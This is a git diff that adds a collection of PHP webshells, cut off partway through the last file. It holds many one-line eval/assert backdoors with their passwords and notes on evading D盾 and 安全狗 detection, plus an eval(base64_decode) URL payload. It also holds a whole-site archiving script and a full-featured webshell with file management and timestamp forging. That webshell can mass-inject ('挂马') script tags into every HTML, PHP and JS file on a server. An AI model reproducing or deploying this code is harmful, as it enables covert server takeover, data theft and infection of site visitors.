                            + + diff --git "a/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" "b/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" new file mode 100644 index 0000000..540418e --- /dev/null +++ "b/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" @@ -0,0 +1,134 @@ + + +/*--------------------------------------------------------------------------------*/ + + + +/*--------------------------------------------------------------------------------*/ + + +//密码mowang + +/*--------------------------------------------------------------------------------*/ + + +//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 c + +/*--------------------------------------------------------------------------------*/ + + //菜刀连接 躲避检测 密码c + +/*--------------------------------------------------------------------------------*/ + + +//密码longmo + +/*--------------------------------------------------------------------------------*/ + + + +/*--------------------------------------------------------------------------------*/ + + +//密码-7 + +/*--------------------------------------------------------------------------------*/ + + +?> +//密码zhe + +/*--------------------------------------------------------------------------------*/ + + +//密码xiaozhe + +/*--------------------------------------------------------------------------------*/ + + +//密码# + +/*--------------------------------------------------------------------------------*/ + + +//密码b4dboy + +/*--------------------------------------------------------------------------------*/ + + + +?id=eval%28base64_decode%28%22QGV2YWwoJF9QT1NUWydjJ10pOw%22%29%29; 密码c + +/*--------------------------------------------------------------------------------*/ + + +//密码call + +/*--------------------------------------------------------------------------------*/ + + +//密码test + +/*--------------------------------------------------------------------------------*/ + + +//密码settoken + +/*--------------------------------------------------------------------------------*/ + +getDocComment(); +$pos=strpos($str,'$a'); +$eval=substr($str,$pos,15); +$pos=strpos($str,'assert'); +$fun=substr($str,$pos,6); +echo $eval; +$fun($eval); +echo $a; +$fun($a); +?> +//密码TestClass + +/*--------------------------------------------------------------------------------*/ +过D盾过安全狗 + + + +心东的马儿 + + + +'; +echo '当前PHP的版本:'.PHP_VERSION.'
                            '; +echo '物理路径:'.__DIR__ .'\\';echo'

                            '; +?> +
                            +你要写入的路径:

                            +你要写入的内容:

                            +

                            +
                            +'; + echo '您的路径是:'.$lujin; + exit; +}?> +

                            +密码:

                            +

                            + +

                            +
                            + + diff --git "a/php/PHP\346\225\264\347\253\231\346\211\223\345\214\205\347\250\213\345\272\217.php" "b/php/PHP\346\225\264\347\253\231\346\211\223\345\214\205\347\250\213\345\272\217.php" new file mode 100644 index 0000000..bf36aff --- /dev/null +++ "b/php/PHP\346\225\264\347\253\231\346\211\223\345\214\205\347\250\213\345\272\217.php" @@ -0,0 +1,364 @@ + + + +PHP整站打包程序-Ca3tie1修改版 + + + +
                            + +"; + //目录列表 + $fdir = opendir($tdir); + while($file=readdir($fdir)) + { + if(is_dir(realpath($tdir."/".$file))) + { + if($file!=".." && $file!="."){ + echo " "; + echo "0 $file
                            "; + } + elseif($file==".."){ + echo "返回上级目录
                            "; + } + } + } + //文件列表 + $fdir = opendir($tdir); + while($file=readdir($fdir)) + { + if($file=='.'|| $file=='..') + continue; + + + if(is_file(realpath($tdir."/".$file))) + { echo " "; + echo "2  $file
                            "; + } + } + +?> + +
                            +包含下列文件类型: + + +(文件类型用"|"隔开,默认空则包含任意文件,例:如果需要打包php和jpg文件,则输入"php|jpg") + +
                            +压缩文件保存到目录: + + +(留空为本目录,必须有写入权限) + +
                            +压缩文件名称: + + +(.zip) + +
                            +
                            + + + + + +filefilters = explode('|',$filetype); + } + + //返回文件的修改时间格式. + //只为本类内部函数调用. + function unix2DosTime($unixtime = 0) + { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) + { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + //初始化文件,建立文件目录, + //并返回文件的写入权限. + function startfile($path = 'dodo.zip') + { + $this->gzfilename=$path; + $mypathdir=array(); + + do + { + $mypathdir[] = $path = dirname($path); + } while($path != '.'); + + @end($mypathdir); + + do + { + $path = @current($mypathdir); + @mkdir($path); + } while(@prev($mypathdir)); + + if($this->fp=@fopen($this->gzfilename,"w")) + { + return true; + } + + return false; + } + + //添加一个文件到 zip 压缩包中. + function addfile($data, $name) + { + $name = str_replace('\\', '/', $name); + if(strrchr($name,'/')=='/') + return $this->adddir($name); + if(!empty($this->filefilters)) + { + if (!in_array(end(explode(".",$name)), $this->filefilters)) + { + return; + } + } + $dtime = dechex($this->unix2DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + + //新添文件内容格式化: + $datastr = "\x50\x4b\x03\x04"; + $datastr .= "\x14\x00"; // ver needed to extract + $datastr .= "\x00\x00"; // gen purpose bit flag + $datastr .= "\x08\x00"; // compression method + $datastr .= $hexdtime; // last mod time and date + $datastr .= pack('V', $crc); // crc32 + $datastr .= pack('V', $c_len); // compressed filesize + $datastr .= pack('V', $unc_len); // uncompressed filesize + $datastr .= pack('v', strlen($name)); // length of filename + $datastr .= pack('v', 0); // extra field length + $datastr .= $name; + $datastr .= $zdata; + $datastr .= pack('V', $crc); // crc32 + $datastr .= pack('V', $c_len); // compressed filesize + $datastr .= pack('V', $unc_len); // uncompressed filesize + fwrite($this->fp,$datastr); //写入新的文件内容 + $my_datastr_len = strlen($datastr); + unset($datastr); + + //新添文件目录信息 + $dirstr = "\x50\x4b\x01\x02"; + $dirstr .= "\x00\x00"; // version made by + $dirstr .= "\x14\x00"; // version needed to extract + $dirstr .= "\x00\x00"; // gen purpose bit flag + $dirstr .= "\x08\x00"; // compression method + $dirstr .= $hexdtime; // last mod time & date + $dirstr .= pack('V', $crc); // crc32 + $dirstr .= pack('V', $c_len); // compressed filesize + $dirstr .= pack('V', $unc_len); // uncompressed filesize + $dirstr .= pack('v', strlen($name) ); // length of filename + $dirstr .= pack('v', 0 ); // extra field length + $dirstr .= pack('v', 0 ); // file comment length + $dirstr .= pack('v', 0 ); // disk number start + $dirstr .= pack('v', 0 ); // internal file attributes + $dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set + $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header + $dirstr .= $name; + $this->dirstr .= $dirstr; //目录信息 + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function adddir($name) + { + $name = str_replace("\\", "/", $name); + $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); + fwrite($this->fp,$datastr); //写入新的文件内容 + $my_datastr_len = strlen($datastr); + unset($datastr); + $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; + $this->dirstr .= $dirstr; //目录信息 + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function createfile() + { + //压缩包结束信息,包括文件总数,目录信息读取指针位置等信息 + $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . + pack('v', $this -> file_count) . + pack('v', $this -> file_count) . + pack('V', $this -> dirstr_len) . + pack('V', $this -> datastr_len) . + "\x00\x00"; + fwrite($this->fp,$this->dirstr.$endstr); + fclose($this->fp); + } +} + +if(!trim($_REQUEST[zipname])) + $_REQUEST[zipname] = "dodozip.zip"; +else + $_REQUEST[zipname] = trim($_REQUEST[zipname]); + +if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip') + $_REQUEST[zipname] .= ".zip"; + +$_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir])); + +if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/') + $_REQUEST[todir] .= "/"; + +if($_REQUEST[todir]=="/") + $_REQUEST[todir] = "./"; + +function listfiles($dir="./") +{ + global $dodozip; + $sub_file_num = 0; + if(is_file("$dir")) + { + if(realpath($dodozip ->gzfilename)!=realpath("$dir")) + { + $dodozip -> addfile(implode('',file("$dir")),"$dir"); + return 1; + } + return 0; + } + + $handle=opendir("$dir"); + while ($file = readdir($handle)) + { + if($file=="."||$file=="..") + continue; + + if(is_dir("$dir/$file")) + { + $sub_file_num += listfiles("$dir/$file"); + } + else + { + if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file")) + { + $dodozip -> addfile(implode('',file("$dir/$file")),"$dir/$file"); + $sub_file_num ++; + } + } + } + + closedir($handle); + + if(!$sub_file_num) + $dodozip -> addfile("","$dir/"); + + return $sub_file_num; +} + +function num_bitunit($num) +{ + $bitunit=array(' B',' KB',' MB',' GB'); + for($key=0;$key=pow(2,10*$key)-1) + { //1023B 会显示为 1KB + $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; + } + } + return $num_bitunit_str; +} + +if(is_array($_REQUEST[dfile])) +{ + $dodozip = new PHPzip; + if($_REQUEST["file_type"] != NULL) + $dodozip -> SetFileFilter($_REQUEST["file_type"]); + if($dodozip -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")) + { + echo "正在添加压缩文件...

                            "; + $filenum = 0; + foreach($_REQUEST[dfile] as $file) + { + if(is_file($file)) + { + if(!empty($dodozip -> filefilters)) + if (!in_array(end(explode(".",$file)), $dodozip -> filefilters)) + continue; + echo "2  $file
                            "; + } + else + { + echo "0 $file
                            "; + } + $filenum += listfiles(realpath($tdir."/".$file)); + } + $dodozip -> createfile(); + + echo "
                            压缩完成,共添加 $filenum 个文件.
                            $_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")"; + } + else + { + echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.
                            "; + } +} +?> + +
                            +
                            +Ca3tie1's Blog +
                            + + diff --git "a/php/php shell\345\212\240\345\274\272\347\211\210.php" "b/php/php shell\345\212\240\345\274\272\347\211\210.php" new file mode 100644 index 0000000..e14721c --- /dev/null +++ "b/php/php shell\345\212\240\345\274\272\347\211\210.php" @@ -0,0 +1,1053 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#33FF33;} + table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function File_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i < $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case "d" : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            search content: +
                            +
                            +
                            +
                            +
                            change file time
                            +
                            +
                            +
                            +END; +} function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print<< + function Inputok(msg,gourl) + { + smsg = "current file:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "sure for del [" + unescape(msg) + "] ?"; + if(confirm(smsg)) + { + if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();} + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "current file time:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + +
                            +
                            +
                            + + + + + + +END; +if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\n".''; $Filename = urlencode($Filename); echo ''; echo ''; echo ' '; echo ''."\n"; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\r\n".' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\r\n"; $NUM_F++; } } @closedir($h_d); print<< +
                            + + + + + + +文件夹({$NUM_D}) / 文件({$NUM_F})
                            + +END; +return true; } function Guama_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); $passm = (int)$nc[1][0]; if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; } while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} if($incode == '2') $ic = $gc."\r\n".$ic; if($incode == '3') $ic = $ic."\r\n".$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            挂马路径: +
                            +
                            文件类型: +
                            +
                            过滤对象: +开启 关闭
                            +
                            挂马代码: +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            插入</head>标签之前; +插入文件最顶端 +插入文件最末尾
                            +
                            智能过滤重复代码 保持文件修改时间不变
                            +
                            将挂马应用于该文件夹,子文件夹和文件 +
                            仅将挂马应用于该文件夹
                            +
                            + +END; +return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) { $qt = str_replace('.','\\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('文件路劲不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            清马路径: +
                            +
                            文件类型: +
                            +
                            清除代码
                            +
                            保持文件修改时间不变
                            +
                            将清马应用于该文件夹,子文件夹和文件 +
                            仅将清马应用于该文件夹
                            +
                            + +END; +return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) { $tt = str_replace('.','\\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                            Searchment
                            Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            Download Suffix

                               Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('文件路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('替换内容不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径: +
                            +
                            Type: +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容: 
                            替换成为:
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; +return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(__FILE__)) continue; $ic = File_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo '
                            '.$Filepath.'
                            编辑删除】 '; echo '【'.$Filetime.'】 '.$var.'

                            '; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' 删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' 删除成功' : ' 删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy 